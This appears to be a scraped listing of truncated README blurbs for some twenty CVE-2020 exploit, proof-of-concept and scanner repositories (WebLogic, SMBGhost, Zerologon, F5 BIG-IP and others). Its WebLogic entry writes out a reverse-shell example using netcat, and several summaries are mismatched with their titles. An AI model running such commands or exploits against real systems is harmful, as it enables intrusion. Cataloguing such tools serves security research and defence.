CVE-2020-6287-exploit

CVE-2020-6287-exploit PoC for CVE-2020-6287 The PoC in python for add user only, no administrator permission set. Inspired by @zeroSteiner from metasploit. Original Metasploit PR module: https://github.com/rapid7/metasploit-framework/pull/13852/commits/d1e2c75b3eafa7f62a6aba9fbe6220c8da97baa8 Thi...

WSuspicious

WSuspicious Summary This is a proof of concept program to escalate privileges on a Windows host by abusing WSUS. Details in this blog post: https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/ It was inspired from the WSuspect...

CVE-2020-1472-EXP

Ladon Moudle CVE-2020-1472 Exploit Usage: http://k8gege.org/Ladon/cve-2020-1472.html...

concealed_position

Concealed Position Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability". Specifically, Concealed Position CP uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install...

SMBGhost_RCE_PoC

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

system_bt_AOSP10_r33_CVE-2020-0471

Fluoride 蓝牙协议栈 在 AOSP 上构建和运行 直接构建 AOSP 即可——Fluoride 默认包含在内。 在 Linux 上构建和运行 适用于 Ubuntu 的说明，已在 14.04 + Clang 3.5.0 和 16.10 + Clang 3.8.0 上测试通过 下载源码 root@kitploit: mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 安装依赖（需要 sudo 权限）： root@kitploit: cd...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python（一步完成） 使用：Python3 exploit.py -t -c 提示：无回显 示例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 然后你将获得shell...

webminscan

Webminscan Webmin 漏洞利用扫描器 CVE-2020-35606 CVE-2019-12840...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner 基于 Python 3 编写的自动 F5 Big IP 远程代码执行 CVE-2020-5902 扫描器 漏洞描述 F5 于 2020 年 6 月 30 日发布了一个影响多个 Big IP 版本的严重远程代码执行漏洞 CVE-2020-5902。攻击者可以轻松利用 TMUI（流量管理用户界面）中未公开页面上的 RCE 和 LFI。 简而言之，这是一个远程代码执行和本地文件包含漏洞的变种，CVSS 评分为 10。 安装 root@kitploit: 对于 Windows $python -m pip install requests 或 对于...

apache__activemq_CVE-2020-11998_5-15-12

Bienvenido a Apache ActiveMQ Apache ActiveMQ es un Message Broker de alto rendimiento licenciado bajo Apache 2.0 y una implementación de JMS 1.1. Primeros pasos Para ayudarte a empezar, prueba los siguientes enlaces: Primeros pasos http://activemq.apache.org/version-5-getting-started.html...

xuxueli__xxl-job_CVE-2020-29204_2-2-0

root@kitploit: XXL-JOB XXL-JOB, a distributed task scheduling framework. -- Home Page -- Introduction...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan 介绍 F5 BIG-IP 远程代码执行漏洞CVE-2020-5902，fofa扫描脚本 利用条件 fofa会员，填入fofaproarssession的值。 自行修改 12行keyword值。 自行修改 17行页数范围 本文公开的方法和脚本仅供学习和研究使用，任何团队和个人不得使用本文披露的相关内容从事违法网络攻击活动，否则造成的一切后果由使用者本人承担与本文作者无关。...

packages_apps_Settings_AOSP10_r33_CVE-2020-0188

Este repositorio no tiene un README...

AutomatedRoot

AutomatedRoot 使用 mtk-su 漏洞 CVE-2020-0069 对 MediaTek 设备进行 Root。 要求 Python 3.9 或更新版本（在 Windows 中需加入 %PATH%）。 ADB（在 Windows 中需加入 %PATH%）。 CVE-2020-0069 的概念验证 mtk-su。 使用方法 从 MediaTek's SU XDA 页面 下载 mtk-su 二进制文件并将其放入相应文件夹（automatedroot/files/arm64）。 下载该工具的最新版本。 如果你使用 Windows，打开 PowerShell；如果使用...

packages_apps_Nfc_AOSP10_r33_CVE-2020-0215

此存储库没有 README。...

CVE-2020-9283

CVE-2020-9283 利用工具 本项目受原始POC启发，原始POC位于 github.com/mark-adams/exploits/CVE-2020-9283。 我对Go SSH库的实现方式感到好奇，因此决定使用Go语言实现这个PoC。 简短的写文可在此找到：https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7 此工具的功能是什么？ 它会在基于Go的SSH服务器上引发panic，可能导致拒绝服务（DoS）。 安装...

CVE-2020-1472-visualizer

CVE-2020-1472 Lector de Eventos v1.1 8/27/2020 Este script hará lo siguiente: 1. Escanear los evtx del sistema en la carpeta de archivos de entrada en busca de los eventos 5827, 5828, 5829, 5830 y 5831, campos de datos exactos, exportar a 582-.CSV. 2. Llama a Excel para importar los 582-.CSV...

CVE-2020-29607

CVE-2020-29607 Exploit for CVE-2020-29607 Usage...

CVE-2020-1350

CVE-2020-1350 CVE-2020-1350 的扫描器与缓解工具 运行方法： 1- 以管理员身份运行 Windows 命令行。 2- powershell -ExecutionPolicy Bypass -File CVE-2020-1350.ps1...

cve-2020-11023-scanner

💥 CVE-2020-11023 扫描器：在XSS为时已晚之前发现并征服它！💥 你是否被潜伏在 JavaScript 代码中的 跨站脚本（XSS）漏洞 的幽灵所困扰？担心 CVE-2020-11023 让你的 Web 应用程序暴露在攻击之下？别怕！CVE-2020-11023 扫描器 将助你发现并征服那些烦人的漏洞！ 这款快速 且可靠 的静态分析 工具旨在扫描 JavaScript 文件和网页，寻找 XSS 漏洞的可疑迹象，尤其是与 CVE-2020-11023 相关的那些。它重点关注 jQuery 3.5.0 之前的版本，因为这些版本已知易受攻击。 免责声明： 请记住，此工具仅执行静态...